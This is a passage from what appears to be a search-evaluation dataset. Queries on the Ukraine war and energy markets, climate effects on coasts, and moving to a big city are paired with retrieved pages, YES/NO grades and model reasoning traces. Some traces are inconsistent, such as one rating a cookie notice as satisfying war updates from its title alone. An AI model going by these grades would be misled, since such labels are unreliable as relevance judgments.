of Britain said in a statement on Sunday that the actions taken against Russian gold would \u201cdirectly hit Russian oligarchs and strike at the heart of Putin\u2019s war machine.\u201d \u201cWe need to starve the Putin regime of its funding,\u201d he added. \u201cThe U.K. and our allies are doing just that.\u201d The gold sanctions follow extensive steps to cut Russian export revenues. The United States banned oil and gas from Russia, and Europe will prohibit most Russian oil while reducing gas imports. The United States, the European Union and their allies have also placed sanctions on Russian officials and other members of the elite and imposed punishments on Russian banks, airlines a",
                "model_trace": "Query Decomposition:\n1. {latest updates on the ongoing war in Ukraine}: This document provides recent updates on the war, specifically focusing on the U.S. and Britain banning gold imports from Russia -> ([1], SATISFIED)\n2. {impact on the global energy markets}: The document mentions sanctions on Russian oil and gas, and how these measures are affecting Russia's export revenues, but does not go into detail about the broader impact on global energy markets -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponent about the latest updates on the war in Ukraine. While it touches on sanctions related to energy, it does not provide detailed information on the global energy market impact. However, given that the query is primarily about updates on the war and its impact, and the document does address these points to some extent, it can still be considered useful. YES."
            },
            {
                "grade": "NO",
                "title": "Ukrainian forces will have to leave key eastern city, Luhansk governor says; retired Russian major captured",
                "url": "https://www.cnbc.com/2022/06/24/russia-ukraine-live-updates.html",
                "published_date": "2022-06-24",
                "text": "This Cookie Notice (\u201cNotice\u201d) explains how NBCUniversal and its affiliates (\u201cNBCUniversal\u201d or \u201cwe\u201d), along with our partners, including advertisers and vendors, use cookies and similar tracking technologies when you use our websites, applications, such as games, interactive TV, voice-activated assistants, and other services that link to this policy, as well as connected devices, including those used in our theme parks (\u201cServices\u201d). This Notice provides more information about these technologies, your choices, and is part of the NBCUniversal Privacy Policy available here . You should read the Privacy Policy and this Notice for a full picture of NBCUniversal\u2019s use of your information. \n WHAT ARE COOKIES AND HOW ARE THEY USED? \nLike many companies, we use cookies (small text files placed on your computer or device) and other tracking technologies on the Services (referred to together from this point forward as \u201cCookies\u201d, unless otherwise stated), including HTTP cookies, HTML5 and Flash local storage/flash cookies, web beacons/GIFs, embedded scripts, ETags/cache browsers, and software development kits. \n First-party Cookies \nFirst-party Cookies are placed by us (including through the use of third-party service providers) and are used to allow you to use the Services and their features and to assist in analytics activities.\n Third-party Cookies \nCertain third parties may place their Cookies on your device and use them to recognize your device when you visit the Services and when you visit other websites or online services. These third parties collect and use this information pursuant to their own privacy policies. Third-party Cookies enable certain features or functionalities, and advertising, to be provided on the Services. \n Types of Cookies \nThe Services use the following types of first and third-party Cookies for these purposes:\n Strictly Necessary Cookies: These Cookies are required for Service functionality, including for system administration, security and fraud prevention, and to enable any purchasing capabilit",
                "model_trace": "Query Decomposition:\n1. {latest updates on the ongoing war in Ukraine}: The document title suggests it might contain updates about the war in Ukraine -> ([1], SATISFIED)\n2. {impact on the global energy markets}: The document content provided does not mention anything about the impact on global energy markets -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {latest updates on the ongoing war in Ukraine}, which is satisfied based on the title. The document does not provide information about the impact on global energy markets. However, since the query asks for both updates on the war and its impact on energy markets, and the document does not address the latter, it is not fully helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Live updates: Putin says mutiny organizers will face justice; Biden says U.S. not involved in rebellion",
                "url": "https://www.cnbc.com/2023/06/26/russia-ukraine-war-updates-for-june-26-2023.html",
                "published_date": "2023-06-26",
                "text": "Mon, Jun 26 20234:51 PM EDT Putin addresses Russians, calls Wagner rebellion 'criminal' A screen grab captured from a video shows Russian President Vladimir Putin making a statement amid escalating tensions between the Kremlin and the head of paramilitary group Wagner in Moscow on June 24, 2023. Kremlin Press Office| Handout | Anadolu Agency | Getty Images Russian President Vladimir Putin has delivered his first televised address since Wagner Group mercenaries instigated a failed mutiny against Russian military leaders over the weekend. Putin called the rebellion \"criminal activity to split and weaken the country, which is now confronting a colossal external threat,\" meaning the international response to Putin's illegal invasion of Ukraine. The Russian president said the organizers of the armed insurrection would be \"brought to justice,\" yet he did not mention Wagner Group leader Yevgeny Prigozhin by name. He also offered apparent clemency to the hundreds of Wagner mercenaries who participated in the armed march from the southern city of Rostov to about 200 miles outside Moscow. The speech did little to clarify what comes next for the Wagner Group or for the Russian military, which was unprepared for the speed and ease with which the rebel convoy traveled through the country on major highways. In his speech, Putin insisted his troops would have crushed the rebellion if it had proceeded any further. \u2014 Christina Wilkie Mon, Jun 26 20233:30 PM EDT Art exhibition in Odesa depicts Russian leaders surrounded by cockroaches An exhibition by Anton Tkachenko called \"Heads\" is open to visitors in Odesa, Ukraine. The artificial heads in clear boxes depict the leadership of the Russian Federation surrounded by live Madagascar cockroaches. Visitors to the exhibition-performance \"Heads\" by Anton Tkachenko are seen at Uspenskaya 60. Exhibition-performance \"Heads\" by Anton Tkachenko opened at Uspenskaya 60. Viacheslav Onyshchenko | Lightrocket | Getty Images Artificial head of Vladimir Putin (a Russian statesman and politician. ",
                "model_trace": "Query Decomposition:\n1. {latest updates on the ongoing war in Ukraine}: This document provides recent updates on the conflict, specifically focusing on the Wagner Group rebellion and Putin's response -> ([1], SATISFIED)\n2. {impact on the global energy markets}: The document does not mention anything about the impact on global energy markets -> ([0], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to the latest updates on the ongoing war in Ukraine but does not address the impact on global energy markets. Since the second subcomponent is tagged [0] and ignored in the evaluation, the document is still helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Russia's War on Ukraine \u2013 Topics - IEA",
                "url": "https://www.iea.org/topics/russias-war-on-ukraine",
                "published_date": null,
                "text": "One year on\n \n \n  \n \n \n One year on from Russia\u2019s invasion of Ukraine, the global energy landscape has changed dramatically. Regions around the world have experienced soaring prices that have hit consumers hard, all against a geopolitical backdrop with energy security at its heart. What\u2019s more, the world\u2019s dependence on fossil fuel consumption, including the price and resource volatility that entails, has come into sharp focus. The economic disruption caused by the war in Ukraine has amplified calls for an accelerated energy transition. A shift that would move countries away from highly polluting fuels, often supplied by only a handful of major producers, to sources of low carbon energy such as renewables and nuclear. Not least in Europe, where the ripple effects of the war have been felt acutely and Russian gas has historically dominated imports. A mild winter and lower-than-expected demand have seen the region\u2019s gas stocks remain relatively stable through the coldest months of the year. While this has helped to ease the impact of supply cut-offs from Russia, the outlook for winter 2023 may be more challenging. The EU faces a potential shortfall of almost 30 billion cubic metres of natural gas this year. But the gap can be closed and the risk of shortages avoided through greater efforts to improve energy efficiency, deploy renewables, install heat pumps, promote energy savings and increase gas supplies.\n \n \n \n High inflation and supply chain disruptions, resulting from the conflict and compounded by the fallout of the COVID-19 pandemic, have also shone a light on the risk of over-reliance on highly concentrated manufacturing and critical minerals. The culmination of these factors has led to sweeping government interventions to protect consumers and shield industry from spiralling energy and technology costs. Many countries and regions are now looking at how they can leverage policy to fast track a clean energy transition alongside economic recovery and avoid repeating past mistakes. The Inflation Reduction Act i",
                "model_trace": "Query Decomposition:\n1. [latest updates on the ongoing war in Ukraine]: The document discusses the war in Ukraine, but it is unclear if it provides the latest updates -> ([0], UNSURE)\n2. [impact on the global energy markets]: The document clearly discusses the impact of the war on global energy markets, including price changes, energy security, and shifts towards renewable energy -> ([1], SATISFIED)\n\nAssessment: The document does not provide clear information on the latest updates regarding the ongoing war in Ukraine but does provide detailed information on its impact on global energy markets. Since the subcomponent [impact on the global energy markets] is satisfied and is a significant part of the query, the document is helpful for the user's request. YES."
            },
            {
                "grade": "YES",
                "title": "Impact of Russia's invasion of Ukraine on the markets",
                "url": "https://www.consilium.europa.eu/en/policies/eu-response-ukraine-invasion/impact-of-russia-s-invasion-of-ukraine-on-the-markets-eu-response/",
                "published_date": null,
                "text": "Russia's unjustified and unprovoked war against Ukraine has highly impacted energy and food markets. EU countries are closely coordinating actions to ensure energy supply and affordable prices.\u00a0 \u00a0\n \nEnergy prices and security of supply\nEnergy prices have been volatile since mid-2021. The price of fuels in the EU has risen as a consequence of Russia\u2019s unprovoked and unjustified aggression against Ukraine, which has also led to concerns related to the security of energy supply. Russia\u2019s decision to suspend gas deliveries to several EU member states has further impacted the situation.\nEnergy prices and security of supply (background information)\nPhasing out dependence on Russian fossil fuels\nWith the Versailles Declaration agreed in March 2022, the EU leaders of the 27 member states agreed to\u00a0phase out the EU\u2019s dependence on Russian fossil fuels as soon as possible.\nEuropean Council, 24-25 March 2022\nOn 30-31 May 2022, the European Council agreed on a ban on almost 90% of all Russian oil imports by the end of 2022 - with a temporary exception for crude oil delivered by pipeline.\u00a0\nTaking account of the EU member states\u2019 different energy mixes, conditions and circumstances, EU leaders called for:\u00a0\nfurther diversifying energy supply sources and routes\naccelerating the deployment of renewables\nfurther improving energy efficiency\nimproving interconnections of gas and electricity networks\u00a0\u00a0\nSpecial meeting of the European Council, 30-31 May 2022\nRussia\u2019s aggression against Ukraine: EU adopts sixth package of sanctions (press release, 3 June 2022)\nEnsuring security of gas supply\nOn 24 November 2022, the Council agreed on the content of new measures aiming to secure and share gas supply in the EU. The new measures will:\nimprove solidarity in case of a real emergency and gas supply shortage\nensure a better coordination of joint gas purchases\nlimit volatility of gas and electricity prices\nset reliable gas price benchmarks\nCouncil agrees on substance of new measures on joint purchases of gas and a solidarity mechanism (press r",
                "model_trace": "Query Decomposition:\n1. {latest updates on the ongoing war in Ukraine}: This document provides information on the impact of Russia's invasion of Ukraine but does not provide the latest updates on the ongoing war itself -> ([0], UNSURE)\n2. {impact on the global energy markets}: The document discusses the impact on energy markets, specifically within the EU, including energy prices, security of supply, and measures taken by the EU -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to the impact on the global energy markets but does not provide the latest updates on the ongoing war in Ukraine. Since the subcomponent regarding the latest updates on the war is tagged [0], it should not affect the evaluation. Therefore, the document is helpful for understanding the impact on energy markets. YES."
            },
            {
                "grade": "YES",
                "title": "How the Russia/Ukraine crisis impacts energy industry?",
                "url": "https://kpmg.com/fr/fr/blogs/home/posts/2022/03/how-the-russia-ukraine-crisis-impacts-energy-industry.html",
                "published_date": null,
                "text": "Blog KPMG France \nHow the energy crisis is transforming the global economy?\nThe Ukraine/Russia conflict : an accelerator to the energy crisis\nTo understand the situation today, this is worth doing a refresh on the weight of Russia in the global energy landscape and especially in Europe since this is the region of the world which is the most dependent on the energy supply from Russia. I will be focusing solely on energy, but everyone shall keep in mind that we are also very much relying on other resources from Russia (cereals apart), copper, nickel, palladium, titanium, lithium, rare earths which are key to many industries, including the energy sector notably for the renewable energies and the batteries.\nThe energy consumption worldwide is still heavily dependent on fossil fuels as the decarbonization policies implemented here and there are too recent to have an impact on the energy mix today.\nIn Europe, fossil fuels represent approximately 70% of the final energy consumption (22% gas/43% oil) and the electricity which represents roughly 22% of the energy consumption, is largely generated from fossil fuel as well, mainly gas and coal. Over the recent years we have had an increase in gas consumption, as the gas was seen as an energy transition as considered cleaner than oil and coal and more acceptable by the population than other power generations such as nuclear.\nAs it relates to natural gas, the European economy is overly dependent on Russia with situations which vary from country to country (with some countries notably in the Baltics which are 100% supplied by Russia).\n The EU imports 90% of its needs in natural gas:\n (41%) from Russia,\u00a0and the rest primarily come from Norway (24%) and Algeria (11%).\nThe EU is the largest importer of natural gas in the world\nThe EU is also dependent on Russia for its imports of oil and coal: 27% of oil imports and 46% of coal imports are from Russia.\nIf we look at the US, the situation is very different as the US is a net exporter of fossil fuels and has barely no imports from ",
                "model_trace": "Query Decomposition:\n1. {latest updates on the ongoing war in Ukraine}: The document does not provide the latest updates on the ongoing war in Ukraine -> ([0], UNSATISFIED)\n2. {impact on the global energy markets}: The document focuses on how the Russia/Ukraine conflict impacts the energy industry, particularly in Europe and the US -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to the impact on global energy markets but does not provide the latest updates on the ongoing war in Ukraine. Since the subcomponent {latest updates on the ongoing war in Ukraine} is tagged [0], it should be ignored in the evaluation. Therefore, the document is helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "Can you summarize the key findings from the recent report on the effects of climate change on coastal communities?",
        "grid_pos": [
            1,
            1
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a range of current events and news topics that require a deep understanding of the context and nuance to answer well. They touch on geopolitics, supply chain issues, energy markets, climate change, and financial regulation - all areas that Exa should be able to handle with its strong knowledge of the internet and the world.\n\nThe queries are specific and detailed, testing Exa's ability to comprehend complex information and provide relevant, up-to-date news summaries. They do not have a single, simple answer, but rather require synthesizing multiple sources and perspectives to fully address."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Fifth National Climate Assessment, Chapter 9: Coastal Effects",
                "url": "https://nca2023.globalchange.gov/chapter/9/",
                "published_date": "2010-02-01",
                "text": "Skip to main content\n\nClimate impacts, including rising sea levels and shifting storm patterns, are transforming coastal landscapes and undermining the resilience of communities and ecosystems. Proactive community-led adaptation strategies, including nature-based solutions and planned relocation, can help communities adapt to both current and future increases in the severity of coastal hazards across the US.\n\nOur Nation\u2019s coasts support industries, commerce, communities, cultures, traditions, and recreation while also providing iconic landscapes and diverse ecosystem services. Observed sea level rise (SLR) and changes in the frequency and intensity of extreme storms, coupled with changes in land use and land cover that can magnify flood risk, have a significant and demonstrable negative impact on people living and working along the coast. Impacts are expected to worsen in the coming decades as SLR continues to accelerate. Observed and projected trends vary along our Nation\u2019s coasts (KM 9.1); therefore, consideration of local and regional trends is important when evaluating impacts (KM 9.2) and adaptation (KM 9.3). 1 , 2\n\nThe number of people living in coastal areas at risk of SLR inundation (permanent inundation by daily high tides) or surge- or wave-driven flooding (temporary flooding driven by storm events) is in continual flux. 3 Between 1990 and 2020, the number of people living below high tide elevations plus 3.3 feet (1 m) of SLR increased by about 14%\u201318% to 2.2 million, consistent with continued growth and development. 3 Human modifications to coastal landscapes, such as seawalls and levees, can exacerbate flood risks and erosion 4 , 5 , 6 and affect the ability of coastal ecosystems to naturally adapt. 7 \nWeather-related disasters continue to increase across US coasts (KMs 2.2, 3.5), with SLR amplifying the flooding and impacts to coastal communities. Between 2000 and 2021, 38 tropical cyclones caused over $1 trillion in losses (in 2022 dollars) and 6,200 deaths. 8 Federal, state, and local actions to re",
                "model_trace": "Query Decomposition:\n1. {recent report on the effects of climate change}: The document is the Fifth National Climate Assessment, which is a report on climate change effects -> ([1], SATISFIED)\n2. {effects on coastal communities}: The document specifically addresses the effects of climate change on coastal communities, including rising sea levels, storm patterns, and community resilience -> ([1], SATISFIED)\n3. {key findings}: The document content includes key findings such as the impact of sea level rise, changes in storm patterns, and the number of people at risk of flooding -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://www.ipcc.ch/report/ar6/wg2/downloads/outreach/IPCC_AR6_WGII_FactSheet_CitiesSettlementsBtS.pdf",
                "published_date": null,
                "text": "Working Group II -Impacts, Adaptation and Vulnerability On the climate change frontline Much of the world's population, economic activities and critical infrastructure are concentrated near the sea (high confidence), with nearly 11% of the global population, or 896 million people, already living on low-lying coasts directly exposed to interacting climatic and nonclimatic coastal hazards (very high confidence). {CCP2-ES}\nThe population potentially exposed to a 100-year coastal flood is projected to increase by about 20% if global mean sea level rises by 0.15 m relative to 2020 levels; this exposed population doubles at a 0.75 m rise in mean sea level and triples at 1.4 m without population change and additional adaptation (medium confidence). By 2100 the value of global assets within the future 1-in-100 year coastal floodplains is projected to be between US$7.9 and US$12.7 trillion (2011 value) under RCP4.5*, rising to between US$8.8 and US$14.2 trillion under RCP8.5 (medium confidence). {SPM.B.4.5} Under all climate and socioeconomic scenarios, low-lying cities and settlements, small islands, Arctic communities, remote Indigenous communities and deltaic communities will face severe disruption by 2100, and as early as 2050 in many cases (very high confidence). {TS.C.5.3} Cities and settlements by the sea are thus on the frontline of action to adapt to climate change, mitigate greenhouse gas emissions and chart climate resilient development pathways. {CCP2.1.1}\nClimate Resilient Development\nCoastal adaptation innovators adopt more flexible, anticipatory and integrative strategies, combining technical and non-technical interventions that account for uncertainties and facilitate effective resolution of conflicting interests and worldviews (limited evidence, high agreement). Moreover, a core set of critical enablers is foundational for cities and settlements to chart climate resilient development pathways. {CCP2-ES; Table CCP2 .1}\nCities and settlements play a pivotal role in global aspirations to implement the Paris ",
                "model_trace": "Query Decomposition:\n1. {recent report on the effects of climate change on coastal communities}: The document is a fact sheet from the IPCC Working Group II, which discusses the impacts, adaptation, and vulnerability of coastal communities to climate change -> ([1], SATISFIED)\n2. {key findings}: The document contains specific data and projections about the population exposed to coastal flooding, economic impacts, and the necessity for climate-resilient development, which are key findings -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing a summary of the effects of climate change on coastal communities and presenting key findings from the report. YES."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://www.ukclimaterisk.org/wp-content/uploads/2021/06/CCRA3-Briefing-Marine.pdf",
                "published_date": null,
                "text": "The full assessment looks at risks and opportunities for the UK under two climate change scenarios, corresponding to approximately a 2\u00b0C or a 4\u00b0C rise in global temperature by 2100. It answers three questions, for 61 different risks or opportunities using available published evidence and analysis:\n\n1. What is the current and future level of risk or opportunity? 2. Is the risk or opportunity being managed, taking account of government action and other adaptation? 3. Are there benefits of further adaptation action in the next five years, over and above what is already planned?\n\nThe main findings from the full assessment related to the marine and coastal environment are summarised below, together with the adaptation actions that would be beneficial over the next five years. Each risk or opportunity has an identifier code linked to the full analysis, which is available in the CCRA3 Technical Report.\n\nReaders are encouraged to use these briefings to locate the parts of the Technical Report of most relevance to them.\n\nAlternatively, if you would like a summary of the analysis by UK nation, please go to the national summary documents:\n\n\u2022 England \u2022 Northern Ireland \u2022 Scotland \u2022 Wales\n\nThis briefing is aimed primarily at the UK Government, the governments of Scotland and Wales, the Northern Ireland Assembly and their respective departments and agencies responsible for the marine and coastal environment. However, it should also be of interest to a wider audience.\n\nKey messages\n\n\\ Significant thresholds could be exceeded, causing irreversible changes in the marine environment under both the 2\u00b0C and 4\u00b0C warming scenarios.\n\n\\ Mean sea level has already risen around the UK by about 16cm from the start of the 20th Century and climate projections across the four nations predict a future sea level rise of between 0.27 and 1.12 metres by the end of the century, depending on global temperature rise.\n\n\\ Marine ecosystems are already being impacted by climate change through both direct and indirect effects on the distribution and abu",
                "model_trace": "Query Decomposition:\n1. [Key findings from the recent report]: The document contains key findings from the full assessment related to the marine and coastal environment, summarizing the risks and opportunities under different climate change scenarios -> ([1], SATISFIED)\n2. [Effects of climate change on coastal communities]: The document discusses the impact of climate change on marine ecosystems and sea level rise, which directly affects coastal communities -> ([2], SATISFIED)\n\nAssessment: The document provides a summary of key findings related to the effects of climate change on coastal communities, including sea level rise and impacts on marine ecosystems. Both subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Climate Impacts on Coastal Areas - US EPA",
                "url": "https://19january2017snapshot.epa.gov/climate-impacts/climate-impacts-coastal-areas",
                "published_date": null,
                "text": "On This Page:\n  Overview \n\t Sea Level Rise \n\t Changes in Storm Surge and Precipitation \n\t Coastal Water Temperature \n\t Coral Reefs and Shellfish \n    Overview\nThe coastline of the United States is highly populated.\u00a0 Approximately 25 million people live in an area vulnerable to coastal flooding. [1] [2]  Coastal and ocean activities, such as marine transportation of goods, offshore energy drilling, resource extraction, fish cultivation, recreation, and tourism are integral to the nation's economy, generating 58% of the national gross domestic product (GDP). [2]  Coastal areas are also home to species and habitats that provide many benefits to society and natural ecosystems.\n    The National Oceanic and Atmospheric Administration (NOAA) projects that sea level rise will increase flooding in Charleston, South Carolina. Source: NOAA Coastal Services Center (2012)    \nClick the image to see a larger version.Climate change can affect coastal areas in a variety of ways. Coasts are sensitive to sea level rise, changes in the frequency and intensity of storms, increases in precipitation, and warmer ocean temperatures. In addition, rising atmospheric concentrations of carbon dioxide (CO2) are causing the oceans to absorb more of the gas and become more acidic. This rising acidity can have significant impacts on coastal and marine ecosystems. \nThe impacts of climate change are likely to worsen problems that coastal areas already face. Confronting existing challenges that affect man-made infrastructure and coastal ecosystems, such as shoreline erosion, coastal flooding, and water pollution, is already a concern in many areas. Addressing the additional stress of climate change may require new approaches to managing land, water, waste, and ecosystems.\n Top of Page \n  Sea Level Rise\n    Observed changes in sea level relative to land elevation in the United States between 1960 and 2014. Source: EPA (2015)   \nClick the image to view a larger version.  \nSince 1901, global sea level has risen approximately eight inches. [3]   [4]  ",
                "model_trace": "Query Decomposition:\n1. {recent report}: The document does not specify a publication date, so it's unclear if it is recent -> ([0], UNSURE)\n2. {effects of climate change on coastal communities}: The document discusses various impacts of climate change on coastal areas, including sea level rise, changes in storm surge and precipitation, coastal water temperature, and impacts on coral reefs and shellfish -> ([1], SATISFIED)\n3. {summary of key findings}: The document provides an overview and detailed sections on specific impacts, which can be considered a summary of key findings -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {effects of climate change on coastal communities} and {summary of key findings}. Both are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Coastal Effects - Fourth National Climate Assessment",
                "url": "https://nca2018.globalchange.gov/chapter/8/",
                "published_date": null,
                "text": "Skip to main content\n\t\n\t\n\t\n \n\t \n\t \n\t\n\t Key Message 1Coastal Economies and Property Are Already at Risk\n\t America\u00e2\u0080\u0099s trillion-dollar coastal property market and public infrastructure are threatened by the ongoing increase in the frequency, depth, and extent of tidal flooding due to sea level rise, with cascading impacts to the larger economy. Higher storm surges due to sea level rise and the increased probability of heavy precipitation events exacerbate the risk. Under a higher scenario (RCP8.5), many coastal communities will be transformed by the latter part of this century, and even under lower scenarios (RCP4.5 or RCP2.6), many individuals and communities will suffer financial impacts as chronic high tide flooding leads to higher costs and lower property values. Actions to plan for and adapt to more frequent, widespread, and severe coastal flooding would decrease direct losses and cascading economic impacts.\n\t \n\t\n\t \n\t\n\t Key Message 2Coastal Environments Are Already at Risk\n\t Fisheries, tourism, human health, and public safety depend on healthy coastal ecosystems that are being transformed, degraded, or lost due in part to climate change impacts, particularly sea level rise and higher numbers of extreme weather events. Restoring and conserving coastal ecosystems and adopting natural and nature-based infrastructure solutions can enhance community and ecosystem resilience to climate change, help to ensure their health and vitality, and decrease both direct and indirect impacts of climate change.\n\t \n\t\n\t \n\t\n\t Key Message 3Social Challenges Intensified\n\t As the pace and extent of coastal flooding and erosion accelerate, climate change impacts along our coasts are exacerbating preexisting social inequities, as communities face difficult questions about determining who will pay for current impacts and future adaptation and mitigation strategies and if, how, or when to relocate. In response to actual or projected climate change losses and damages, coastal communities will be among the first in the Nation to test existi",
                "model_trace": "Query Decomposition:\n1. {recent report on the effects of climate change on coastal communities}: This document is a chapter from the Fourth National Climate Assessment, which is a report on climate change impacts, including those on coastal communities -> ([1], SATISFIED)\n2. {summarize key findings}: The document contains key messages summarizing the findings on the effects of climate change on coastal communities -> ([1], SATISFIED)\n\nAssessment: The document clearly provides a summary of key findings from a recent report on the effects of climate change on coastal communities. Both subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Top Findings from the IPCC Climate Change Report 2023",
                "url": "https://www.wri.org/insights/2023-ipcc-ar6-synthesis-report-climate-change-findings",
                "published_date": null,
                "text": "March 20 marked the release of the final installment of the Intergovernmental Panel on Climate Change\u2019s (IPCC)\u00a0Sixth Assessment Report (AR6), an eight-year long undertaking from the world\u2019s most authoritative scientific body on climate change. Drawing on the findings of 234 scientists on the\u00a0physical science of climate change, 270 scientists on\u00a0impacts, adaptation and vulnerability to climate change, and 278 scientists on\u00a0climate change mitigation, this\u00a0IPCC synthesis report\u00a0provides the most comprehensive, best available scientific assessment of climate change.\nIt also makes for grim reading. Across nearly 8,000 pages, the AR6 details the devastating consequences of rising greenhouse gas (GHG) emissions around the world \u2014 the destruction of homes, the loss of livelihoods and the fragmentation of communities, for example \u2014 as well as the increasingly dangerous and irreversible risks should we fail to change course.\nBut the IPCC also offers hope, highlighting pathways to avoid these intensifying risks. It identifies readily available, and in some cases, highly cost-effective actions that can be undertaken now to reduce GHG emissions, scale up carbon removal and build resilience. While the window to address the climate crisis is rapidly closing, the IPCC affirms that we can still secure a safe, livable future.\nHere are 10 key findings you need to know:\n1. Human-induced global warming of 1.1 degrees C has spurred changes to the Earth\u2019s climate that are unprecedented in recent human history.\nAlready, with 1.1 degrees C (2 degrees F) of global temperature rise, changes to the climate system that are unparalleled over centuries to millennia are now occurring in every region of the world, from rising sea levels to more extreme weather events to rapidly disappearing sea ice.\n \n  Additional warming will increase the magnitude of these changes. Every 0.5 degree C (0.9 degrees F) of global temperature rise, for example, will cause clearly discernible increases in the frequency and severity of heat extremes, heavy rainfall e",
                "model_trace": "Query Decomposition:\n1. {summarize the key findings}: The document contains a summary of the key findings from the IPCC Climate Change Report -> ([1], SATISFIED)\n2. {effects of climate change on coastal communities}: The document mentions rising sea levels and extreme weather events, which are directly relevant to coastal communities -> ([2], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            }
        ]
    },
    {
        "query": "I'm looking for a personal blog post by a young adult who recently moved to a big city and is navigating the challenges of finding their first apartment and job in a new place.",
        "grid_pos": [
            1,
            2
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "The queries cover a range of topics that test Exa's understanding of current events, personal experiences, and niche interests. They require Exa to search for and understand the nuances of blog posts, Substack newsletters, and personal essays - content that goes beyond simple factual information. The queries have enough detail to be specific, but still leave room for Exa to demonstrate its ability to comprehend complex queries and provide relevant, high-quality search results."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Moving Out of My Hometown",
                "url": "https://medium.com/@zyrakarr/moving-out-of-my-hometown-3b4ace1f39e0?source=post_internal_links---------2----------------------------",
                "published_date": "2022-06-06",
                "text": "A personal account Some personal factors about me, I am a millennial: A 26-yr old female with entry-level experience from a small city in the Philippines who lived with her parents all her life prior to moving. Back in high school, I remember thinking that regardless of what I major in college, I would end up working in a big city. But unlike my friends who had an idea of who they are going to be and what they would like to do, I didn\u2019t, and still don\u2019t, have a \u201cdream.\u201d I felt like an idiot because I could not share any plans in mind to become somebody. Ten years after graduating from high school, today I am going to sleep in the first room I am going to rent. I always knew I would end up working in a big city and live away from my parents someday, but I have never imagined moving. Our family never moved before. Packing up, leaving a place I call home, and settling in a new place is all new to me. Coming from a cold city, the biggest adjustment for me is the weather. It\u2019s no news that it is *hot* here in the Philippines, but geez, the entire lowlands is a fucking sauna. I did expect to have physical issues when I come down here, but after the migraine and irritation from the first day, I did not have any more issues. My body adjusted well and quick, thankfully but I\u2019ve never sweat before where my face is like a tear duct. Thankfully, I prepared my clothes well for my transactions. I came home not feeling icky from the ride. Or maybe, it\u2019s just the private transpo, for now. We\u2019ll see tomorrow if I still somehow feel okay when I get home after trying out the commute to my workplace. Manila is infamous for its snatchers, holduppers, and bag slashers, but witnessing the streets here for a day, Baguio City truly has their own republic. I\u2019ve been tirelessly warned about the main street to my way home, that I should not walk along at night. Uuugh, goosebumps! That remark from my uncle almost made me want to turn the car around and just go home. In that moment, I have never missed Baguio more than ever. I just wanted to ",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is a personal blog post -> ([1], SATISFIED)\n2. {young adult}: The author describes herself as a 26-year-old female, which fits the young adult category -> ([1], SATISFIED)\n3. {recently moved to a big city}: The author recently moved from a small city to a big city in the Philippines -> ([1], SATISFIED)\n4. {navigating challenges of finding first apartment}: The author mentions sleeping in the first room she is going to rent, indicating she is navigating the challenges of finding her first apartment -> ([1], SATISFIED)\n5. {navigating challenges of finding first job}: The author discusses commuting to her workplace, indicating she is navigating the challenges of finding and starting her first job -> ([1], SATISFIED)\n\nAssessment: All subcomponents tagged with [1] are SATISFIED. YES."
            },
            {
                "grade": "NO",
                "title": "Moving",
                "url": "https://world.hey.com/daedalus/moving-32324eeb",
                "published_date": "2022-06-18",
                "text": "k\n\nJune 18, 2022\n\nMoving to a new city is costly, tiring and a long process, even after optimizing as possible. I feel like I didn\u2019t have that much trouble when I first moved in for college.",
                "model_trace": "Query Decomposition:\n1. {personal blog post}: This document is a personal blog post -> ([1], SATISFIED)\n2. {young adult}: The document does not provide information about the author's age -> ([0], UNSURE)\n3. {recently moved to a big city}: The document mentions moving to a new city, but it is unclear if it is a big city or when the move happened -> ([0], UNSURE)\n4. {navigating the challenges of finding their first apartment and job}: The document mentions the challenges of moving but does not specifically address finding an apartment or job -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {personal blog post} and {navigating the challenges of finding their first apartment and job}. Since {navigating the challenges of finding their first apartment and job} is not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Moving to NYC: An International Perspective",
                "url": "https://www.sipa.columbia.edu/admissions/blog/moving-nyc-international-perspective",
                "published_date": "2023-02-20",
                "text": "In my first \u201cMoving to NYC\u201d blog, I realized I was missing something; at SIPA, there are many international students who had never engaged with NYC housing or even been to America prior to coming here. I spoke with Jackline Okeyo, a second year EMPA student about her experience moving, NYC, and SIPA generally.\n\nImage\n\nWhat was something unexpected or difficult about moving to New York City?\nHow much rent costs and how difficult it was to meet the requirements for landlords, particularly given the exchange rates! In most cases, you must be making 3 - 4 times the annual rent as an affordability test and agents wanted a social security number\u2013 it did not matter that I was coming to study at a reputable university. It was hard to break out of the requirements. This was one of my hurdles but luckily one of my friends came here with me, so we were able to combine incomes and find accommodation together. We also were not in NYC at the time of our search which was an added barrier but ultimately, using resources such as Zillow, we found a place!\nPart of living in NYC is also building independence. Negotiating rental deposits with landlords, sourcing furniture, or sorting out your leaky sink. I do wish there was a network or resource that would help with landlords and finding a neighborhood for students who choose to stay off-campus because if you are not sufficiently ready, it can be very difficult and it can get expensive here too!\nWhat were some unexpected but positive things about moving to New York City?\nI was surprised by how integrated all the different socio-economic groups are. For example, mixed-income housing, this type of urban integration is not common in South Africa. This has been very pleasant, getting to experience how communities with people from different backgrounds can be integrated, there are also plenty of 